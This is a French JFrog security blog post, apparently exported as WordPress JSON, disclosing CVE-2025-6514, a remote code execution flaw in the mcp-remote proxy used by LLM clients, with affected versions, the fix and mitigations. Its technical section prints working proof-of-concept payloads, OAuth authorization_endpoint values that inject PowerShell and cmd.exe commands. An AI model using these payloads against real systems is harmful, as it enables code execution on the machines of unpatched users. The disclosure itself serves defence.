{"id":174283,"date":"2026-09-14T11:06:22","date_gmt":"2026-09-14T09:06:22","guid":{"rendered":"https:\/\/jfrog.com\/blog\/vulnerabilite-critique-dexecution-de-code-a-distance-dans-mcp-remote-la-cve-2025-6514-menace-les-clients-de-llm\/"},"modified":"2026-09-14T12:36:48","modified_gmt":"2026-09-14T10:36:48","slug":"2025-6514-critical-mcp-remote-rce-vulnerability","status":"publish","type":"post","link":"https:\/\/jfrog.com\/fr\/blog\/2025-6514-critical-mcp-remote-rce-vulnerability\/","title":{"rendered":"Vuln\u00e9rabilit\u00e9 critique d\u2019ex\u00e9cution de code \u00e0 distance dans mcp-remote\u00a0: la CVE-2025-6514 menace les clients de LLM"},"content":{"rendered":"<p>Clients mcp-remote expos\u00e9s \u00e0 l\u2019ex\u00e9cution de code \u00e0 distance_863x300<\/p>\n<p>L\u2019\u00e9quipe de recherche en s\u00e9curit\u00e9 de JFrog a r\u00e9cemment d\u00e9couvert et signal\u00e9 la CVE-2025-6514, une vuln\u00e9rabilit\u00e9 de s\u00e9curit\u00e9 critique (CVSS 9.6) dans le projet mcp-remote, un outil populaire utilis\u00e9 par les clients du Model Context Protocol. Cette vuln\u00e9rabilit\u00e9 permet \u00e0 des pirates de d\u00e9clencher l\u2019ex\u00e9cution de commandes arbitraires du syst\u00e8me d\u2019exploitation sur la machine ex\u00e9cutant mcp-remote lorsque celui-ci \u00e9tablit une connexion avec un serveur MCP non fiable. Elle expose donc les utilisateurs \u00e0 un risque majeur\u00a0: une compromission totale du syst\u00e8me.<\/p>\n<p>mcp-remote est un proxy qui permet aux h\u00f4tes de grands mod\u00e8les de langage (LLM), tels que Claude Desktop, de communiquer avec des serveurs MCP distants, m\u00eame s\u2019ils ne prennent nativement en charge que les communications avec des serveurs MCP locaux.<\/p>\n<p>De pr\u00e9c\u00e9dentes recherches avaient d\u00e9j\u00e0 d\u00e9montr\u00e9 les risques li\u00e9s \u00e0 la connexion de clients MCP \u00e0 des serveurs MCP malveillants. Il s\u2019agit toutefois du premier cas o\u00f9 une ex\u00e9cution compl\u00e8te de code \u00e0 distance est obtenue dans un sc\u00e9nario r\u00e9el sur le syst\u00e8me d\u2019exploitation du client lors d\u2019une connexion \u00e0 un serveur MCP distant non fiable.<\/p>\n<p>Nous tenons \u00e0 remercier Glen Maddern (@geelen), principal mainteneur de mcp-remote, d\u2019avoir rapidement corrig\u00e9 cette vuln\u00e9rabilit\u00e9.<br \/>\nQui est affect\u00e9 par CVE-2025-6514\u00a0?<br \/>\nLa vuln\u00e9rabilit\u00e9 affecte les versions\u00a00.0.5 \u00e0 0.1.15 de mcp-remote. Elle est corrig\u00e9e depuis la version\u00a00.1.16.<\/p>\n<p>Toute personne utilisant une version affect\u00e9e de mcp-remote pour se connecter \u00e0 un serveur MCP non fiable ou non s\u00e9curis\u00e9 est vuln\u00e9rable \u00e0 cette attaque.<\/p>\n<p>Sous Windows, nous avons d\u00e9montr\u00e9 que cette vuln\u00e9rabilit\u00e9 permet l\u2019ex\u00e9cution de commandes arbitraires du syst\u00e8me d\u2019exploitation (notamment de commandes shell avec un contr\u00f4le total des param\u00e8tres).<br \/>\nSous macOS et Linux, la vuln\u00e9rabilit\u00e9 permet l\u2019ex\u00e9cution de fichiers ex\u00e9cutables arbitraires avec un contr\u00f4le limit\u00e9 des param\u00e8tres. Des recherches suppl\u00e9mentaires pourraient permettre d\u2019obtenir l\u2019ex\u00e9cution de commandes arbitraires du syst\u00e8me d\u2019exploitation sur ces plateformes.<br \/>\nSc\u00e9narios d\u2019attaque\u00a0:<\/p>\n<p>Sc\u00e9nario\u00a01\u00a0: un client MCP utilise mcp-remote pour se connecter \u00e0 un serveur MCP non fiable (d\u00e9tourn\u00e9 ou malveillant).<\/p>\n<p>Figure\u00a01 &#8211; ConnexionFigure\u00a01\u00a0: un client MCP utilise mcp-remote pour se connecter \u00e0 un serveur MCP non fiable.<\/p>\n<p>Sc\u00e9nario\u00a02\u00a0: un client MCP utilise mcp-remote pour se connecter \u00e0 un serveur MCP de fa\u00e7on non s\u00e9curis\u00e9e (le sch\u00e9ma de l\u2019URL du serveur \u00e9tant HTTP), tandis que des pirates pr\u00e9sents sur le r\u00e9seau local m\u00e8nent une attaque de l\u2019homme du milieu afin de d\u00e9tourner le trafic MCP. Ce sc\u00e9nario est probable au sein des r\u00e9seaux locaux, car les clients MCP sont plus susceptibles de faire confiance aux serveurs MCP du r\u00e9seau local et de s\u2019y connecter de mani\u00e8re non s\u00e9curis\u00e9e.<\/p>\n<p>Figure\u00a02 &#8211; Redirection par le pirateFigure\u00a02\u00a0: un client MCP utilise mcp-remote pour se connecter de mani\u00e8re non s\u00e9curis\u00e9e \u00e0 un serveur MCP, tandis que des pirates locaux redirigent ou contr\u00f4lent le trafic MCP.<\/p>\n<p>Comment att\u00e9nuer la CVE-2025-6514\u00a0?<br \/>\nEffectuer l&#8217;une des \u00e9tapes suivantes permettra d&#8217;att\u00e9nuer la vuln\u00e9rabilit\u00e9 CVE-2025-6514\u00a0:<\/p>\n<p>Mettez mcp-remote \u00e0 jour vers la version 0.1.16. Cette version comprend un correctif pour la vuln\u00e9rabilit\u00e9. Il s\u2019agit de la solution recommand\u00e9e.<br \/>\nConnectez-vous uniquement \u00e0 des serveurs MCP de confiance, en utilisant HTTPS (connexion s\u00e9curis\u00e9e).<\/p>\n<p>Transport MCP\u00a0: local ou distant<br \/>\nLe Model Context Protocol (MCP) est une norme ouverte apparue en novembre 2024, qui a imm\u00e9diatement suscit\u00e9 un vif int\u00e9r\u00eat et \u00e9t\u00e9 largement adopt\u00e9e. Il permet aux assistants d\u2019IA et aux h\u00f4tes de LLM de se connecter de mani\u00e8re s\u00e9curis\u00e9e \u00e0 des sources de donn\u00e9es, des outils et des services externes, et d\u2019interagir avec eux en temps r\u00e9el. Il permet \u00e0 ces syst\u00e8mes d\u2019IA d\u2019acc\u00e9der \u00e0 des informations actualis\u00e9es provenant de bases de donn\u00e9es, d\u2019API et d\u2019applications, tout en pr\u00e9servant la s\u00e9curit\u00e9 et le contr\u00f4le de l\u2019utilisateur sur les donn\u00e9es auxquelles les mod\u00e8les peuvent acc\u00e9der.<br \/>\nFigure\u00a03 &#8211; Application de LLMFigure 3\u00a0: une application de LLM utilise un serveur MCP local ex\u00e9cut\u00e9 sur la m\u00eame machine.<br \/>\n\u00c0 l\u2019origine, les serveurs MCP \u00e9taient d\u00e9ploy\u00e9s localement et ex\u00e9cut\u00e9s sur la m\u00eame machine que l\u2019application de LLM. Des serveurs MCP distants sont apparus depuis, permettant \u00e0 plusieurs applications de LLM de partager la m\u00eame instance de serveur MCP, tout en r\u00e9duisant la charge op\u00e9rationnelle li\u00e9e \u00e0 la maintenance et \u00e0 la mise \u00e0 jour des serveurs dans chaque installation.<br \/>\nFigure\u00a04 &#8211; Serveur MCP distantFigure\u00a04\u00a0: une application de LLM utilise un serveur MCP distant en communiquant localement avec mcp-remote, qui transmet les communications au serveur MCP distant via HTTP.<br \/>\nL\u2019outil mcp-remote a gagn\u00e9 en popularit\u00e9 au sein de la communaut\u00e9 de l\u2019IA lorsque les premi\u00e8res impl\u00e9mentations de serveurs MCP distants sont apparues, alors que la plupart des clients MCP ne permettaient encore que les connexions \u00e0 des serveurs locaux.<\/p>\n<p>Cet outil permet aux applications prenant uniquement en charge le transport MCP local via STDIO, telles que Claude Desktop, Cursor et Windsurf, de se connecter \u00e0 des serveurs MCP distants via un transport HTTP en faisant office de proxy.<\/p>\n<p>mcp-remote est largement utilis\u00e9, comme en t\u00e9moignent la documentation officielle de Cloudflare, la documentation d\u2019int\u00e9gration d\u2019Auth0, le blog de Hugging Face et diff\u00e9rents tutoriels consacr\u00e9s \u00e0 l\u2019adoption du MCP distant.<\/p>\n<p>Il convient de noter qu\u2019au cours des derni\u00e8res semaines, des h\u00f4tes de LLM tels que Cursor et Windsurf ont ajout\u00e9 la possibilit\u00e9 de se connecter directement \u00e0 des serveurs MCP distants. Anthropic a \u00e9galement ajout\u00e9 cette fonctionnalit\u00e9 pour les utilisateurs de Claude Desktop disposant d\u2019un abonnement payant.<br \/>\nR\u00e9sum\u00e9 de la CVE-2025-6514<br \/>\nLorsque les utilisateurs souhaitent configurer leur h\u00f4te LLM, comme Claude Desktop, pour qu\u2019il se connecte \u00e0 un serveur MCP distant, ils modifient le fichier de configuration de Claude pour ajouter une commande mcp-remote contenant uniquement l\u2019URL du serveur MCP distant.<br \/>\n{<br \/>\n&#8220;mcpServers&#8221;: {<br \/>\n&#8220;remote-mcp-server-example&#8221;: {<br \/>\n&#8220;command&#8221;: &#8220;npx&#8221;,<br \/>\n&#8220;args&#8221;: [<br \/>\n&#8220;mcp-remote&#8221;,<br \/>\n&#8220;http:\/\/remote.server.example.com\/mcp&#8221;<br \/>\n]<br \/>\n}<br \/>\n}<br \/>\n}<br \/>\nFigure\u00a05\u00a0: exemple de fichier de configuration JSON MCP configurant un serveur MCP distant au moyen de mcp-remote.<br \/>\nLorsque la configuration est enregistr\u00e9e ou que Claude Desktop est red\u00e9marr\u00e9, mcp-remote entame les communications initiales avec le serveur MCP. Le serveur peut lui demander de s\u2019authentifier. mcp-remote demande alors au serveur les m\u00e9tadonn\u00e9es de ses points de terminaison OAuth. Parmi les valeurs renvoy\u00e9es, le serveur transmet l\u2019URL de son authorization_endpoint (par exemple\u00a0: https:\/\/remote.server.example.com\/authorize). Cette URL doit \u00eatre ouverte dans un navigateur afin que l\u2019utilisateur puisse saisir ses identifiants.<\/p>\n<p>Pour d\u00e9clencher la vuln\u00e9rabilit\u00e9, un serveur MCP malveillant peut renvoyer une valeur d\u2019URL authorization_endpoint sp\u00e9cialement con\u00e7ue, comme le montre la figure ci-dessous\u00a0:<br \/>\nFigure\u00a06 &#8211; Initialisation de la connexion distanteFigure 6\u00a0: mcp-remote initialise la connexion avec un serveur MCP malveillant<br \/>\nmcp-remote tente d\u2019ouvrir cette URL sp\u00e9cialement con\u00e7ue dans un navigateur. En raison de la CVE-2025-6514, cette op\u00e9ration entra\u00eene une injection de commande, permettant au pirate d\u2019ex\u00e9cuter des commandes arbitraires du syst\u00e8me d\u2019exploitation.<br \/>\nMCP distant &#8211; Figure\u00a07<br \/>\nFigure\u00a07\u00a0: ex\u00e9cution de calc.exe \u00e0 la suite de notre exploitation de la vuln\u00e9rabilit\u00e9.<\/p>\n<p>D\u00e9tails techniques de la CVE-2025-6514<br \/>\nmcp-remote sert de proxy entre le transport MCP local (STDIO) et le transport distant (Streamable HTTP ou SSE, deux protocoles bas\u00e9s sur HTTP), tout en assurant des fonctions d\u2019authentification et d\u2019autorisation.<\/p>\n<p>Pour configurer un nouveau serveur MCP distant au moyen de mcp-remote, l\u2019utilisateur doit uniquement ajouter l\u2019URL du serveur au fichier de configuration JSON du client MCP, comme l\u2019illustre la figure\u00a05 ci-dessus.<\/p>\n<p>Lorsque l\u2019application du client MCP est rouverte, comme dans le cas de Claude Desktop, elle ex\u00e9cute la commande npx fournie, cr\u00e9e un processus Node et lance la fonction proxy.ts:runProxy de mcp-remote avec le param\u00e8tre serverUrl fourni dans le fichier de configuration ci-dessus.<\/p>\n<p>Cette fonction construit un objet NodeOAuthClientProvider, qui sera utilis\u00e9 si le serveur distant exige une autorisation.<\/p>\n<p>Un objet StreamableHTTPClientTransport est ensuite cr\u00e9\u00e9 et sa m\u00e9thode send est appel\u00e9e avec le param\u00e8tre serverUrl fourni. Dans le cas pr\u00e9sent, la requ\u00eate adress\u00e9e \u00e0\u00a0: \u00ab\u00a0http:\/\/remote.server.example.com\/mcp\u00a0\u00bb re\u00e7oit une r\u00e9ponse \u00ab\u00a0401 Unauthorized\u00a0\u00bb du serveur \u00ab\u00a0malveillant\u00a0\u00bb. Elle appelle alors la fonction auth.ts:auth afin de lancer la proc\u00e9dure d\u2019autorisation.<br \/>\nExaminons ce qui se passe dans la fonction auth, ici simplifi\u00e9e pour plus de clart\u00e9\u00a0:<\/p>\n<p>export async function auth(<br \/>\nprovider: OAuthClientProvider, {serverUrl, authorizationCode?, scope?}): Promise {<br \/>\nlet authorizationServerUrl = serverUrl;<br \/>\ntry {<br \/>\n\/* ### 1 ### *\/<br \/>\nconst resourceMetadata = await discoverOAuthProtectedResourceMetadata(<br \/>\nresourceMetadataUrl || serverUrl);<br \/>\n\/* &#8230; *\/<br \/>\n} catch (error) {console.warn(&#8220;Could not load OAut..&#8221;, error)}<\/p>\n<p>\/* ### 2 ### *\/<br \/>\nconst metadata = await discoverOAuthMetadata(authorizationServerUrl);<\/p>\n<p>\/\/ Handle client registration if needed<br \/>\nlet clientInformation = await Promise.resolve(provider.clientInformation());<br \/>\nif (!clientInformation) {<br \/>\n\/* &#8230; *\/<br \/>\n\/* ### 3 ### *\/<br \/>\nconst fullInformation = await registerClient(serverUrl, {<br \/>\nmetadata,<br \/>\nclientMetadata: provider.clientMetadata });<br \/>\n\/* &#8230; *\/<br \/>\n}<\/p>\n<p>\/* &#8230; *\/<\/p>\n<p>\/\/ Start new authorization flow<br \/>\n\/* ### 4 ### *\/<br \/>\nconst { authorizationUrl, codeVerifier } = await startAuthorization(authorizationServerUrl, {<br \/>\nmetadata,<br \/>\nclientInformation,<br \/>\nredirectUrl: provider.redirectUrl,<br \/>\nscope: scope || provider.clientMetadata.scope,<br \/>\n});<\/p>\n<p>await provider.saveCodeVerifier(codeVerifier);<br \/>\n\/* ### 5 ### *\/<br \/>\nawait provider.redirectToAuthorization(authorizationUrl);<br \/>\nreturn &#8220;REDIRECT&#8221;;<br \/>\n}<\/p>\n<p>Figure\u00a08\u00a0: extrait simplifi\u00e9 de la fonction auth du fichier auth.ts (SDK TypeScript officiel du MCP).<br \/>\nCette fonction sert \u00e0 lancer le flux d\u2019autorisation OAuth. Suivons les commentaires num\u00e9rot\u00e9s ### int\u00e9gr\u00e9s au code\u00a0:<\/p>\n<p>Nous contournons la logique de discoverOAuthProtectedResourceMetadata en renvoyant une r\u00e9ponse 401 Unauthorized lorsque cette fonction envoie une requ\u00eate fetch \u00e0 notre serveur (http:\/\/remote.server.example.com\/.well-known\/oauth-protected-resource).<br \/>\nEnsuite, discoverOAuthMetadata est appel\u00e9e, r\u00e9cup\u00e9rant les m\u00e9tadonn\u00e9es OAuth \u00e0 partir du point de terminaison \/.well-known\/oauth-authorization-server de notre serveur, qui renvoie un objet JSON r\u00e9pertoriant les points de terminaison OAuth et les param\u00e8tres de configuration. Le champ authorization_endpoint est inclus dans cette r\u00e9ponse. Sa valeur contient g\u00e9n\u00e9ralement une URL HTTP standard utilis\u00e9e pour authentifier les utilisateurs, mais pour d\u00e9clencher l\u2019ex\u00e9cution d\u2019une commande, le serveur malveillant renvoie une valeur sp\u00e9cialement con\u00e7ue\u00a0:<\/p>\n<p>{&#8220;authorization_endpoint&#8221;: &#8220;file:\/c:\/windows\/system32\/calc.exe&#8221;,<br \/>\n&#8220;registration_endpoint&#8221;: &#8220;https:\/\/remote.server.example.com\/register&#8221;,<br \/>\n\/* \u2026 *\/<br \/>\n&#8220;code_challenge_methods_supported&#8221;: [&#8220;S256&#8221;]}<\/p>\n<p>Le processus passe ensuite \u00e0 l\u2019enregistrement dynamique du client et acc\u00e8de \u00e0 notre point de terminaison \/register. Nous lui fournissons une r\u00e9ponse valide afin que le flux se poursuive.<br \/>\nLa fonction startAuthorization (pr\u00e9sent\u00e9e ci-dessous) est appel\u00e9e. Elle utilise la cha\u00eene metadata.authorization_endpoint fournie \u00e0 l\u2019\u00e9tape\u00a02 pour construire un nouvel objet URL(). Elle lui ajoute ensuite des param\u00e8tres de cha\u00eene de requ\u00eate et renvoie le r\u00e9sultat\u00a0:<\/p>\n<p>export async function startAuthorization(<br \/>\nserverUrl, {metadata, clientInformation, redirectUrl, scope } {<br \/>\nif (metadata) {<br \/>\nauthorizationUrl = new URL(metadata.authorization_endpoint); \/\/javascript:$(calc.exe)<br \/>\n\/* &#8230; checks some metadata params that pass &#8230; *\/<br \/>\n}<br \/>\n\/* &#8230; *\/<br \/>\n\/* adding searchParams (query-string) to the authorizationUrl *\/<br \/>\nauthorizationUrl.searchParams.set(&#8220;response_type&#8221;, responseType);<br \/>\n\/* &#8230; *\/<br \/>\nreturn { authorizationUrl, codeVerifier };<br \/>\n}<\/p>\n<p>Figure 9 : Extrait simplifi\u00e9 de la fonction startAuthorization de auth.ts (SDK TypeScript MCP officiel)<\/p>\n<p>La m\u00e9thode provider.redirectToAuthorization(authorizationUrl) appelle ensuite la m\u00e9thode redirectToAuthorization de notre objet NodeOAuthClientProvider, qui se trouve dans le fichier node-oauth-client-provider.ts\u00a0:<\/p>\n<p>async redirectToAuthorization(authorizationUrl: URL): Promise {<br \/>\nlog(`\\nPlease authorize this client by visiting:\\n${authorizationUrl.toString()}\\n`)<br \/>\ntry {<br \/>\nawait open(authorizationUrl.toString()) \/* ### 6 ### *\/<br \/>\nlog(&#8216;Browser opened automatically.&#8217;)<\/p>\n<p>} catch (error) {<br \/>\n\/* &#8230; *<br \/>\n}<br \/>\n}<\/p>\n<p>Figure 10\u00a0: extrait simplifi\u00e9 de la fonction redirectToAuthorization du fichier node-oauth-client-provider.ts.<\/p>\n<p>La fonction open() est import\u00e9e depuis le package npm \u2018open\u2019.\u00a0\u00a0open(param) effectue les op\u00e9rations suivantes sur les machines Windows*\u00a0:<\/p>\n<p>Elle d\u00e9termine le chemin de powershell.exe.<br \/>\nElle pr\u00e9pare une commande PowerShell encod\u00e9e qui ex\u00e9cutera l\u2019argument param.<br \/>\nElle l\u2019ex\u00e9cute dans un nouveau sous-processus avec la ligne de commande suivante\u00a0:<\/p>\n<p>powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand &#8216;UwB0AGEAcgB0ACAAIgBqAGEAdgB\u2026.=&#8217;<\/p>\n<p>PowerShell d\u00e9code la commande et l\u2019ex\u00e9cute. Dans notre cas \u2014 il ex\u00e9cutera calc.exe\u00a0:<\/p>\n<p>Start &#8220;file:\/c:\/windows\/system32\/calc.exe?response_type=code\u2026..&#8221;<\/p>\n<p>* Le package &#8216;open&#8217; utilise des chemins de code diff\u00e9rents sous macOS et Linux, en ex\u00e9cutant respectivement \u00ab\u00a0open URL\u00a0\u00bb ou \u00ab\u00a0xdg-open URL\u00a0\u00bb. Ces impl\u00e9mentations peuvent \u00e9galement \u00eatre exploit\u00e9es afin d\u2019ex\u00e9cuter des fichiers arbitraires au moyen d\u2019URL file:\/\/. La surface d\u2019attaque est toutefois plus limit\u00e9e, car aucun shell n\u2019est invoqu\u00e9, ce qui restreint la capacit\u00e9 \u00e0 contr\u00f4ler les arguments du fichier ex\u00e9cutable.<\/p>\n<p>Du contr\u00f4le limit\u00e9 \u00e0 l\u2019ex\u00e9cution compl\u00e8te de commandes<br \/>\nLe mot-cl\u00e9 Start, qui fait r\u00e9f\u00e9rence \u00e0 la cmdlet PowerShell Start-Process, peut ex\u00e9cuter un fichier ex\u00e9cutable ou le transmettre au shell Windows afin qu\u2019il soit trait\u00e9 selon les associations d\u2019extensions de fichiers ou les gestionnaires de protocoles (sch\u00e9mas d\u2019URI).<\/p>\n<p>Comme la cha\u00eene authorization_endpoint sert \u00e0 construire un nouvel objet URL(), elle doit respecter un format d\u2019URL valide et commencer par un sch\u00e9ma d\u2019URI.<\/p>\n<p>Lorsque la valeur \u00ab\u00a0file:\/c:\/windows\/system32\/calc.exe?response_type=code\u2026..\u00a0\u00bb est fournie, le fichier: URI scheme est utilis\u00e9 pour ex\u00e9cuter le fichier calc.exe.<br \/>\nFigure 11 \u2013 Ex\u00e9cution \u00e0 distanceFigure\u00a011\u00a0: mcp-remote ex\u00e9cute le processus calc.exe alors qu\u2019il tente d\u2019ouvrir un navigateur pour l\u2019autorisation.<br \/>\nNous pouvons d\u00e9sormais ex\u00e9cuter n\u2019importe quel fichier, mais sans lui transmettre d\u2019arguments, ce qui n\u2019est pas encore suffisamment utile.<\/p>\n<p>Nous pouvons tenter d\u2019ex\u00e9cuter un fichier distant \u00e0 l\u2019aide d\u2019URL telles que \u00ab\u00a0file:\/\/IP_ADDR\/Share\/test.bat?response_type=code\u2026..\u00a0\u00bb. Cette URL pointe vers un chemin UNC permettant d\u2019acc\u00e9der \u00e0 des ressources r\u00e9seau (notez la pr\u00e9sence des deux barres obliques inverses).<\/p>\n<p>Cette m\u00e9thode fonctionne, mais Windows affiche un avertissement de s\u00e9curit\u00e9 concernant l\u2019ex\u00e9cution d\u2019un fichier distant\u00a0:<br \/>\nMCP distant &#8211; Figure\u00a012\u00a0: avertissement de s\u00e9curit\u00e9 affich\u00e9 lors d\u2019une tentative d\u2019ex\u00e9cution d\u2019un chemin UNC.MPC distant &#8211; Figure\u00a013<br \/>\nEssayons une autre strat\u00e9gie. Puisque la commande s\u2019ex\u00e9cute dans PowerShell, nous pouvons exploiter la fonctionnalit\u00e9 d\u2019\u00e9valuation des sous-expressions afin d\u2019injecter nos propres commandes\u00a0: \u00ab\u00a0http:\/\/www.example$(calc.exe).com\/?response_type=code\u2026..\u00a0\u00bb. Cette cha\u00eene ex\u00e9cute calc.exe gr\u00e2ce \u00e0 l\u2019op\u00e9rateur de sous-expression $(), qui \u00e9value (ex\u00e9cute) l\u2019expression transmise en param\u00e8tre.<\/p>\n<p>Si nous pouvions fournir une espace, cette technique nous permettrait d\u2019injecter des param\u00e8tres arbitraires dans la commande. Cependant, comme notre cha\u00eene est trait\u00e9e par URL() et qu\u2019une espace n\u2019est pas un caract\u00e8re valide dans une URL, l\u2019appel \u00e0 new URL() \u00e9choue si l\u2019espace se trouve dans le domaine. Dans les autres parties de l\u2019URL, l\u2019espace est encod\u00e9e sous la forme %20. Par exemple, l\u2019entr\u00e9e \u00ab\u00a0http:\/\/www.example.com\/$(cmd.exe \/c echo test)\u00a0\u00bb est transform\u00e9e en \u00ab\u00a0http:\/\/www.example.com\/$(cmd.exe%20\/c%20echo%20test)\/?response_type=code\u2026..\u00a0\u00bb. Il en va de m\u00eame pour les tentatives utilisant le sch\u00e9ma \u00ab\u00a0file:\u00a0\u00bb.<\/p>\n<p>Nous avons finalement remarqu\u00e9 qu\u2019un sch\u00e9ma inexistant ne contenant pas de barre oblique inverse n\u2019\u00e9tait pas encod\u00e9 dans l\u2019URL. Nous pouvons donc fournir \u00ab\u00a0a:$(cmd.exe \/c whoami &gt; c:\\temp\\pwned.txt)?response_type=code\u2026..\u00a0\u00bb et obtenir l\u2019ex\u00e9cution compl\u00e8te de commandes.<\/p>\n<p>Figure 13 : Un nouveau fichier pwned.txt cr\u00e9\u00e9 dans C:\\temp \u00e0 la suite de notre commande cmd.exe \/c \u2014 ce qui prouve que l&#8217;ex\u00e9cution du code a r\u00e9ussi.<\/p>\n<p>R\u00e9sum\u00e9<br \/>\nAvec la d\u00e9couverte de la CVE-2025-6514, nous avons d\u00e9montr\u00e9 qu\u2019une ex\u00e9cution de code \u00e0 distance \u00e9tait possible lors d\u2019une connexion \u00e0 des serveurs MCP non fiables. Comme indiqu\u00e9 pr\u00e9c\u00e9demment, des h\u00f4tes de LLM tels que Cursor, Windsurf et Claude proposent d\u00e9sormais des fonctionnalit\u00e9s similaires permettant de se connecter \u00e0 des serveurs MCP distants. Les utilisateurs du MCP doivent imp\u00e9rativement veiller \u00e0 ne se connecter qu\u2019\u00e0 des serveurs MCP de confiance au moyen de m\u00e9thodes de connexion s\u00e9curis\u00e9es (HTTPS), car des vuln\u00e9rabilit\u00e9s similaires \u00e0 la CVE-2025-6514 pourraient \u00eatre d\u00e9couvertes dans l\u2019\u00e9cosyst\u00e8me MCP en constante expansion.<\/p>\n<p>Pour rester inform\u00e9 des autres attaques et vuln\u00e9rabilit\u00e9s zero-day, consultez r\u00e9guli\u00e8rement le centre de recherche en s\u00e9curit\u00e9 de JFrog afin de d\u00e9couvrir les derni\u00e8res informations concernant les CVE, les vuln\u00e9rabilit\u00e9s et les correctifs.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Clients mcp-remote expos\u00e9s \u00e0 l\u2019ex\u00e9cution de code \u00e0 distance_863x300 L\u2019\u00e9quipe de recherche en s\u00e9curit\u00e9 de JFrog a r\u00e9cemment d\u00e9couvert et signal\u00e9 la CVE-2025-6514, une vuln\u00e9rabilit\u00e9 de s\u00e9curit\u00e9 critique (CVSS 9.6) dans le projet mcp-remote, un outil populaire utilis\u00e9 par les clients du Model Context Protocol. Cette vuln\u00e9rabilit\u00e9 permet \u00e0 des pirates de d\u00e9clencher l\u2019ex\u00e9cution de &hellip;<\/p>\n","protected":false},"author":590,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"inline_featured_image":false,"footnotes":""},"categories":[10153],"tags":[11399,11360,11362,11286,9999],"class_list":["post-174283","post","type-post","status-publish","format-standard","hentry","category-securite-et-devsecops","tag-rce","tag-mcp","tag-cve","tag-vulnerabilites","tag-securite-recherche"],"yoast_head":"<!-- This site is optimized with the Yoast SEO Premium plugin v22.6 (Yoast SEO v22.6) - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>La CVE-2025-6514 menace les clients de LLM<\/title>\n<meta name=\"description\" content=\"D\u00e9couvrez comment l\u2019\u00e9quipe de recherche en s\u00e9curit\u00e9 de JFrog a d\u00e9couvert et signal\u00e9 la CVE-6514, une vuln\u00e9rabilit\u00e9 critique dans le projet mcp-remote utilis\u00e9 par les clients du Model Context Protocol.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/jfrog.com\/fr\/wp-json\/wp\/v2\/posts\/174283\" \/>\n<meta property=\"og:locale\" content=\"fr_FR\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Vuln\u00e9rabilit\u00e9 critique d\u2019ex\u00e9cution de code \u00e0 distance dans mcp-remote\u00a0: la CVE-2025-6514 menace les clients de LLM\" \/>\n<meta property=\"og:description\" content=\"D\u00e9couvrez comment l\u2019\u00e9quipe de recherche en s\u00e9curit\u00e9 de JFrog a d\u00e9couvert et signal\u00e9 la CVE-6514, une vuln\u00e9rabilit\u00e9 critique dans le projet mcp-remote utilis\u00e9 par les clients du Model Context Protocol.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/jfrog.com\/fr\/blog\/2025-6514-critical-mcp-remote-rce-vulnerability\/\" \/>\n<meta property=\"og:site_name\" content=\"JFrog\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/artifrog\" \/>\n<meta property=\"article:published_time\" content=\"2026-09-14T09:06:22+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2026-09-14T10:36:48+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/media.jfrog.com\/wp-content\/uploads\/2025\/07\/06204255\/MCP-Remote-Clients-Exposed-to-Remote-Code-Execution.png\" \/>\n<meta name=\"author\" content=\"drewt\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@jfrog\" \/>\n<meta name=\"twitter:site\" content=\"@jfrog\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"drewt\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"11 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/jfrog.com\/fr\/blog\/2025-6514-critical-mcp-remote-rce-vulnerability\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/jfrog.com\/fr\/blog\/2025-6514-critical-mcp-remote-rce-vulnerability\/\"},\"author\":{\"name\":\"drewt\",\"@id\":\"https:\/\/jfrog.com\/fr\/#\/schema\/person\/c84b32acf61c0b7c85a306cb03697b28\"},\"headline\":\"Vuln\u00e9rabilit\u00e9 critique d\u2019ex\u00e9cution de code \u00e0 distance dans mcp-remote\u00a0: la CVE-2025-6514 menace les clients de LLM\",\"datePublished\":\"2026-09-14T09:06:22+00:00\",\"dateModified\":\"2026-09-14T10:36:48+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/jfrog.com\/fr\/blog\/2025-6514-critical-mcp-remote-rce-vulnerability\/\"},\"wordCount\":2769,\"publisher\":{\"@id\":\"https:\/\/jfrog.com\/fr\/#organization\"},\"keywords\":[\"rce\",\"mcp\",\"CVE\",\"vuln\u00e9rabilit\u00e9s\",\"securite-recherche\"],\"articleSection\":[\"S\u00e9curit\u00e9 et DevSecOps\"],\"inLanguage\":\"fr-FR\"},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/jfrog.com\/fr\/blog\/2025-6514-critical-mcp-remote-rce-vulnerability\/\",\"url\":\"https:\/\/jfrog.com\/fr\/blog\/2025-6514-critical-mcp-remote-rce-vulnerability\/\",\"name\":\"La CVE-2025-6514 menace les clients de LLM\",\"isPartOf\":{\"@id\":\"https:\/\/jfrog.com\/fr\/#website\"},\"datePublished\":\"2026-09-14T09:06:22+00:00\",\"dateModified\":\"2026-09-14T10:36:48+00:00\",\"description\":\"D\u00e9couvrez comment l\u2019\u00e9quipe de recherche en s\u00e9curit\u00e9 de JFrog a d\u00e9couvert et signal\u00e9 la CVE-6514, une vuln\u00e9rabilit\u00e9 critique dans le projet mcp-remote utilis\u00e9 par les clients du Model Context 